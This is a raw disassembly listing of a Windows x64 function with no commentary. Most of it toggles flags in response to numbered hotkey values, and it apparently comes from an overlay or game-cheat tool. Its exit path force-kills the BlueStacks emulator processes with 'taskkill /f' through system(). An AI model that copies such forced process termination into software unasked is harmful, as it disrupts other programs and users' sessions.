mov ecx, dword [0x14037f2d0]
movzx r9d, byte [0x14037f2ad]
movzx r10d, byte [0x14037f3d7]
movzx r11d, byte [0x14037f384]
movzx ebx, byte [0x14037f314]
movzx edi, byte [0x14037f398]
movzx esi, byte [0x14037f31d]
movzx r14d, byte [0x14037f2af]
movzx r15d, byte [0x14037f2d5]
movzx r12d, byte [0x14037f386]
mov byte [rsp + 0x67], al
cmp ecx, 1
jne 0x14005e36f
test r13b, r13b
je 0x14005e525
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14005e535
cmp byte [0x14037f3d0], r9b
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 2
jne 0x14005e3a8
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005e52a
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14005e535
cmp byte [0x14037f3d0], r10b
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 3
jne 0x14005e3e1
movzx ecx, byte [rsp + 0x61]
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test cl, cl
je 0x14005e535
test r11b, r11b
jne 0x14005e535
cmp byte [0x14037f3d0], r11b
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 4
jne 0x14005e419
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x60]
test r8b, r8b
je 0x14005e530
movzx ecx, byte [rsp + 0x61]
test bl, bl
jne 0x14005e535
cmp byte [0x14037f3d0], bl
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 5
jne 0x14005e455
cmp byte [rsp + 0x63], 0
je 0x14005e525
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14005e535
cmp byte [0x14037f3d0], dil
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 6
jne 0x14005e491
cmp byte [rsp + 0x64], 0
je 0x14005e525
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14005e535
cmp byte [0x14037f3d0], sil
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 7
jne 0x14005e4c6
cmp byte [rsp + 0x65], 0
je 0x14005e525
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14005e535
cmp byte [0x14037f3d0], r14b
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 8
jne 0x14005e4f7
cmp byte [rsp + 0x66], 0
je 0x14005e525
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14005e535
cmp byte [0x14037f3d0], r15b
sete byte [0x14037f3d0]
jmp 0x14005e535
cmp ecx, 9
jne 0x14005e525
test al, al
je 0x14005e525
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14005e535
cmp byte [0x14037f3d0], r12b
sete byte [0x14037f3d0]
jmp 0x14005e535
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x61]
mov eax, dword [0x1403a073c]
cmp eax, 1
jne 0x14005e551
test r13b, r13b
je 0x14005e5e2
test r9b, r9b
jmp 0x14005e5d2
cmp eax, 2
jne 0x14005e563
test dl, dl
je 0x14005e5e2
test r10b, r10b
jmp 0x14005e5d2
cmp eax, 3
jne 0x14005e571
test cl, cl
je 0x14005e5e2
test r11b, r11b
jmp 0x14005e5d2
cmp eax, 4
jne 0x14005e57f
test r8b, r8b
je 0x14005e5e2
test bl, bl
jmp 0x14005e5d2
cmp eax, 5
jne 0x14005e590
cmp byte [rsp + 0x63], 0
je 0x14005e5e2
test dil, dil
jmp 0x14005e5d2
cmp eax, 6
jne 0x14005e5a1
cmp byte [rsp + 0x64], 0
je 0x14005e5e2
test sil, sil
jmp 0x14005e5d2
cmp eax, 7
jne 0x14005e5b2
cmp byte [rsp + 0x65], 0
je 0x14005e5e2
test r14b, r14b
jmp 0x14005e5d2
cmp eax, 8
jne 0x14005e5c3
cmp byte [rsp + 0x66], 0
je 0x14005e5e2
test r15b, r15b
jmp 0x14005e5d2
cmp eax, 9
jne 0x14005e5e2
cmp byte [rsp + 0x67], 0
je 0x14005e5e2
test r12b, r12b
jne 0x14005e5e2
cmp byte [0x14037f3cf], 0
sete byte [0x14037f3cf]
mov eax, dword [0x14037f310]
cmp eax, 1
jne 0x14005e5fe
test r13b, r13b
je 0x14005e68f
test r9b, r9b
jmp 0x14005e67f
cmp eax, 2
jne 0x14005e610
test dl, dl
je 0x14005e68f
test r10b, r10b
jmp 0x14005e67f
cmp eax, 3
jne 0x14005e61e
test cl, cl
je 0x14005e68f
test r11b, r11b
jmp 0x14005e67f
cmp eax, 4
jne 0x14005e62c
test r8b, r8b
je 0x14005e68f
test bl, bl
jmp 0x14005e67f
cmp eax, 5
jne 0x14005e63d
cmp byte [rsp + 0x63], 0
je 0x14005e68f
test dil, dil
jmp 0x14005e67f
cmp eax, 6
jne 0x14005e64e
cmp byte [rsp + 0x64], 0
je 0x14005e68f
test sil, sil
jmp 0x14005e67f
cmp eax, 7
jne 0x14005e65f
cmp byte [rsp + 0x65], 0
je 0x14005e68f
test r14b, r14b
jmp 0x14005e67f
cmp eax, 8
jne 0x14005e670
cmp byte [rsp + 0x66], 0
je 0x14005e68f
test r15b, r15b
jmp 0x14005e67f
cmp eax, 9
jne 0x14005e68f
cmp byte [rsp + 0x67], 0
je 0x14005e68f
test r12b, r12b
jne 0x14005e68f
cmp byte [0x14037f3bd], 0
sete byte [0x14037f3bd]
mov eax, dword [0x14037f2c8]
cmp eax, 1
jne 0x14005e6ab
test r13b, r13b
je 0x14005e73c
test r9b, r9b
jmp 0x14005e72c
cmp eax, 2
jne 0x14005e6bd
test dl, dl
je 0x14005e73c
test r10b, r10b
jmp 0x14005e72c
cmp eax, 3
jne 0x14005e6cb
test cl, cl
je 0x14005e73c
test r11b, r11b
jmp 0x14005e72c
cmp eax, 4
jne 0x14005e6d9
test r8b, r8b
je 0x14005e73c
test bl, bl
jmp 0x14005e72c
cmp eax, 5
jne 0x14005e6ea
cmp byte [rsp + 0x63], 0
je 0x14005e73c
test dil, dil
jmp 0x14005e72c
cmp eax, 6
jne 0x14005e6fb
cmp byte [rsp + 0x64], 0
je 0x14005e73c
test sil, sil
jmp 0x14005e72c
cmp eax, 7
jne 0x14005e70c
cmp byte [rsp + 0x65], 0
je 0x14005e73c
test r14b, r14b
jmp 0x14005e72c
cmp eax, 8
jne 0x14005e71d
cmp byte [rsp + 0x66], 0
je 0x14005e73c
test r15b, r15b
jmp 0x14005e72c
cmp eax, 9
jne 0x14005e73c
cmp byte [rsp + 0x67], 0
je 0x14005e73c
test r12b, r12b
jne 0x14005e73c
cmp byte [0x14037f3cd], 0
sete byte [0x14037f3cd]
mov eax, dword [0x14037f380]
cmp eax, 1
jne 0x14005e758
test r13b, r13b
je 0x14005e7e9
test r9b, r9b
jmp 0x14005e7d9
cmp eax, 2
jne 0x14005e76a
test dl, dl
je 0x14005e7e9
test r10b, r10b
jmp 0x14005e7d9
cmp eax, 3
jne 0x14005e778
test cl, cl
je 0x14005e7e9
test r11b, r11b
jmp 0x14005e7d9
cmp eax, 4
jne 0x14005e786
test r8b, r8b
je 0x14005e7e9
test bl, bl
jmp 0x14005e7d9
cmp eax, 5
jne 0x14005e797
cmp byte [rsp + 0x63], 0
je 0x14005e7e9
test dil, dil
jmp 0x14005e7d9
cmp eax, 6
jne 0x14005e7a8
cmp byte [rsp + 0x64], 0
je 0x14005e7e9
test sil, sil
jmp 0x14005e7d9
cmp eax, 7
jne 0x14005e7b9
cmp byte [rsp + 0x65], 0
je 0x14005e7e9
test r14b, r14b
jmp 0x14005e7d9
cmp eax, 8
jne 0x14005e7ca
cmp byte [rsp + 0x66], 0
je 0x14005e7e9
test r15b, r15b
jmp 0x14005e7d9
cmp eax, 9
jne 0x14005e7e9
cmp byte [rsp + 0x67], 0
je 0x14005e7e9
test r12b, r12b
jne 0x14005e7e9
cmp byte [0x14037f3bf], 0
sete byte [0x14037f3bf]
mov eax, dword [0x14037f308]
cmp eax, 1
jne 0x14005e805
test r13b, r13b
je 0x14005e896
test r9b, r9b
jmp 0x14005e886
cmp eax, 2
jne 0x14005e817
test dl, dl
je 0x14005e896
test r10b, r10b
jmp 0x14005e886
cmp eax, 3
jne 0x14005e825
test cl, cl
je 0x14005e896
test r11b, r11b
jmp 0x14005e886
cmp eax, 4
jne 0x14005e833
test r8b, r8b
je 0x14005e896
test bl, bl
jmp 0x14005e886
cmp eax, 5
jne 0x14005e844
cmp byte [rsp + 0x63], 0
je 0x14005e896
test dil, dil
jmp 0x14005e886
cmp eax, 6
jne 0x14005e855
cmp byte [rsp + 0x64], 0
je 0x14005e896
test sil, sil
jmp 0x14005e886
cmp eax, 7
jne 0x14005e866
cmp byte [rsp + 0x65], 0
je 0x14005e896
test r14b, r14b
jmp 0x14005e886
cmp eax, 8
jne 0x14005e877
cmp byte [rsp + 0x66], 0
je 0x14005e896
test r15b, r15b
jmp 0x14005e886
cmp eax, 9
jne 0x14005e896
cmp byte [rsp + 0x67], 0
je 0x14005e896
test r12b, r12b
jne 0x14005e896
cmp byte [0x14037f3d1], 0
sete byte [0x14037f3d1]
mov eax, dword [0x14037f300]
cmp eax, 1
jne 0x14005e8bd
test r13b, r13b
je 0x14005e91a
test r9b, r9b
jne 0x14005e91a
cmp byte [0x14037f3bc], 0
sete al
mov byte [0x14037f3bc], al
jmp 0x14005e921
cmp eax, 2
jne 0x14005e8cb
test dl, dl
je 0x14005e91a
test r10b, r10b
jmp 0x14005e8a9
cmp eax, 3
jne 0x14005e8d9
test cl, cl
je 0x14005e91a
test r11b, r11b
jmp 0x14005e8a9
cmp eax, 4
jne 0x14005e8e7
test r8b, r8b
je 0x14005e91a
test bl, bl
jmp 0x14005e8a9
cmp eax, 5
jne 0x14005e8f8
cmp byte [rsp + 0x63], 0
je 0x14005e91a
test dil, dil
jmp 0x14005e8a9
cmp eax, 6
jne 0x14005e909
cmp byte [rsp + 0x64], 0
je 0x14005e91a
test sil, sil
jmp 0x14005e8a9
cmp eax, 7
jne 0x14005e91a
cmp byte [rsp + 0x65], 0
je 0x14005e91a
test r14b, r14b
jmp 0x14005e8a9
movzx eax, byte [0x14037f3bc]
mov ecx, dword [0x14037f30c]
cmp ecx, 8
jne 0x14005e938
cmp byte [rsp + 0x66], 0
je 0x14005e952
test r15b, r15b
jmp 0x14005e947
cmp ecx, 9
jne 0x14005e952
cmp byte [rsp + 0x67], 0
je 0x14005e952
test r12b, r12b
jne 0x14005e952
test al, al
sete byte [0x14037f3bc]
mov r8d, dword [0x14037f3b8]
cmp r8d, 1
jne 0x14005e986
test r13b, r13b
je 0x14005ea1f
test r9b, r9b
jne 0x14005ea1f
cmp byte [0x14037f39f], 0
sete dl
mov byte [0x14037f39f], dl
jmp 0x14005ea26
cmp r8d, 2
jne 0x14005e999
test dl, dl
je 0x14005ea1f
test r10b, r10b
jmp 0x14005e96b
cmp r8d, 3
jne 0x14005e9ab
cmp byte [rsp + 0x61], 0
je 0x14005ea1f
test r11b, r11b
jmp 0x14005e96b
cmp r8d, 4
jne 0x14005e9bc
cmp byte [rsp + 0x62], 0
je 0x14005ea1f
test bl, bl
jmp 0x14005e96b
cmp r8d, 5
jne 0x14005e9ce
cmp byte [rsp + 0x63], 0
je 0x14005ea1f
test dil, dil
jmp 0x14005e96b
cmp r8d, 6
jne 0x14005e9e0
cmp byte [rsp + 0x64], 0
je 0x14005ea1f
test sil, sil
jmp 0x14005e96b
cmp r8d, 7
jne 0x14005e9f5
cmp byte [rsp + 0x65], 0
je 0x14005ea1f
test r14b, r14b
jmp 0x14005e96b
cmp r8d, 8
jne 0x14005ea0a
cmp byte [rsp + 0x66], 0
je 0x14005ea1f
test r15b, r15b
jmp 0x14005e96b
cmp r8d, 9
jne 0x14005ea1f
cmp byte [rsp + 0x67], 0
je 0x14005ea1f
test r12b, r12b
jmp 0x14005e96b
movzx edx, byte [0x14037f39f]
cmp ecx, 1
jne 0x14005ea55
test r13b, r13b
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005ebb9
cmp byte [0x14037f39e], r9b
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 2
jne 0x14005ea83
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005ebb9
test r10b, r10b
jne 0x14005ebb9
cmp byte [0x14037f39e], r10b
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 3
jne 0x14005eab4
cmp byte [rsp + 0x61], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005ebb9
cmp byte [0x14037f39e], r11b
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 4
jne 0x14005eae3
cmp byte [rsp + 0x62], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005ebb9
cmp byte [0x14037f39e], bl
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 5
jne 0x14005eb14
cmp byte [rsp + 0x63], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005ebb9
cmp byte [0x14037f39e], dil
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 6
jne 0x14005eb42
cmp byte [rsp + 0x64], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005ebb9
cmp byte [0x14037f39e], sil
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 7
jne 0x14005eb68
cmp byte [rsp + 0x65], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005ebb9
cmp byte [0x14037f39e], r14b
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 8
jne 0x14005eb8e
cmp byte [rsp + 0x66], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005ebb9
cmp byte [0x14037f39e], r15b
sete byte [0x14037f39e]
jmp 0x14005ebb9
cmp ecx, 9
jne 0x14005ebb4
cmp byte [rsp + 0x67], 0
je 0x14005ebb4
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005ebb9
cmp byte [0x14037f39e], r12b
sete byte [0x14037f39e]
jmp 0x14005ebb9
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x14037f304]
cmp eax, 1
jne 0x14005ebd5
test r13b, r13b
je 0x14005ec6b
test r9b, r9b
jmp 0x14005ec5b
cmp eax, 2
jne 0x14005ebe7
test cl, cl
je 0x14005ec6b
test r10b, r10b
jmp 0x14005ec5b
cmp eax, 3
jne 0x14005ebf8
cmp byte [rsp + 0x61], 0
je 0x14005ec6b
test r11b, r11b
jmp 0x14005ec5b
cmp eax, 4
jne 0x14005ec08
cmp byte [rsp + 0x62], 0
je 0x14005ec6b
test bl, bl
jmp 0x14005ec5b
cmp eax, 5
jne 0x14005ec19
cmp byte [rsp + 0x63], 0
je 0x14005ec6b
test dil, dil
jmp 0x14005ec5b
cmp eax, 6
jne 0x14005ec2a
cmp byte [rsp + 0x64], 0
je 0x14005ec6b
test sil, sil
jmp 0x14005ec5b
cmp eax, 7
jne 0x14005ec3b
cmp byte [rsp + 0x65], 0
je 0x14005ec6b
test r14b, r14b
jmp 0x14005ec5b
cmp eax, 8
jne 0x14005ec4c
cmp byte [rsp + 0x66], 0
je 0x14005ec6b
test r15b, r15b
jmp 0x14005ec5b
cmp eax, 9
jne 0x14005ec6b
cmp byte [rsp + 0x67], 0
je 0x14005ec6b
test r12b, r12b
jne 0x14005ec6b
cmp byte [0x14037f3ce], 0
sete byte [0x14037f3ce]
mov eax, dword [0x14037f3d8]
cmp eax, 1
jne 0x14005ec87
test r13b, r13b
je 0x14005ed36
test r9b, r9b
jmp 0x14005ed26
cmp eax, 2
jne 0x14005ec9c
test cl, cl
je 0x14005ed36
test r10b, r10b
jmp 0x14005ed26
cmp eax, 3
jne 0x14005ecb1
cmp byte [rsp + 0x61], 0
je 0x14005ed36
test r11b, r11b
jmp 0x14005ed26
cmp eax, 4
jne 0x14005ecc1
cmp byte [rsp + 0x62], 0
je 0x14005ed36
test bl, bl
jmp 0x14005ed26
cmp eax, 5
jne 0x14005ece4
cmp byte [rsp + 0x63], 0
je 0x14005ed36
test dil, dil
jne 0x14005ed36
cmp byte [0x14037f3cc], dil
sete al
mov byte [0x14037f3cc], al
jmp 0x14005ed3d
cmp eax, 6
jne 0x14005ecf5
cmp byte [rsp + 0x64], 0
je 0x14005ed36
test sil, sil
jmp 0x14005ed26
cmp eax, 7
jne 0x14005ed06
cmp byte [rsp + 0x65], 0
je 0x14005ed36
test r14b, r14b
jmp 0x14005ed26
cmp eax, 8
jne 0x14005ed17
cmp byte [rsp + 0x66], 0
je 0x14005ed36
test r15b, r15b
jmp 0x14005ed26
cmp eax, 9
jne 0x14005ed36
cmp byte [rsp + 0x67], 0
je 0x14005ed36
test r12b, r12b
jne 0x14005ed36
cmp byte [0x14037f3d2], 0
sete byte [0x14037f3d2]
movzx eax, byte [0x14037f3cc]
mov ecx, dword [0x14037f3c8]
cmp ecx, 1
jne 0x14005ed6d
test r13b, r13b
je 0x14005ee9d
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005eea2
test al, al
sete byte [0x14037f3cc]
jmp 0x14005eea2
cmp ecx, 2
jne 0x14005ed96
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005eea2
test r10b, r10b
jne 0x14005eea2
test al, al
sete byte [0x14037f3cc]
jmp 0x14005eea2
cmp ecx, 3
jne 0x14005edc2
cmp byte [rsp + 0x61], 0
je 0x14005ee9d
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005eea2
test al, al
sete byte [0x14037f3cc]
jmp 0x14005eea2
cmp ecx, 4
jne 0x14005eded
cmp byte [rsp + 0x62], 0
je 0x14005ee9d
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005eea2
test al, al
sete byte [0x14037f3cc]
jmp 0x14005eea2
cmp ecx, 5
jne 0x14005ee19
cmp byte [rsp + 0x63], 0
je 0x14005ee9d
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005eea2
test al, al
sete byte [0x14037f3cc]
jmp 0x14005eea2
cmp ecx, 6
jne 0x14005ee3a
cmp byte [rsp + 0x64], 0
je 0x14005ee9d
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005eea2
cmp ecx, 7
jne 0x14005ee5b
cmp byte [rsp + 0x65], 0
je 0x14005ee9d
cmp ecx, 8
jne 0x14005ee7c
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x1403a0da8]
cmp eax, 1
jne 0x14005eed7
call fcn.1400480c0
call fcn.140048410
xor ecx, ecx
call fcn.140006d90
call fcn.1400673c0
mov rcx, qword [0x14037f388]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x720]
call fcn.1400455e0
lea rcx, [rbp + 0x740]
call fcn.1400455e0
lea rcx, [rbp + 0x760]
call fcn.1400455e0
lea rcx, [rbp + 0x780]
call fcn.1400455e0
mov r13, qword [rsp + 0x1a28]
xor eax, eax
mov r15, qword [rsp + 0x1a20]
mov r12, qword [rsp + 0x1a30]
movaps xmm11, xmmword [rsp + 0x19c0]
movaps xmm10, xmmword [rsp + 0x19d0]
movaps xmm9, xmmword [rsp + 0x19e0]
movaps xmm8, xmmword [rsp + 0x19f0]
movaps xmm7, xmmword [rsp + 0x1a00]
movaps xmm6, xmmword [rsp + 0x1a10]
movaps xmm12, xmmword [rsp + 0x19b0]
movaps xmm13, xmmword [rsp + 0x19a0]
movaps xmm14, xmmword [rsp + 0x1990]
movaps xmm15, xmmword [rsp + 0x1980]
mov rsi, qword [rsp + 0x1a58]
mov rbx, qword [rsp + 0x1a50]
mov rdi, qword [rsp + 0x1a60]
add rsp, 0x1a38
pop r14
pop rbp
ret
lea rcx, str.taskkill__f__im_HD_Player.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_Bluestacks.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HD_Agent.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3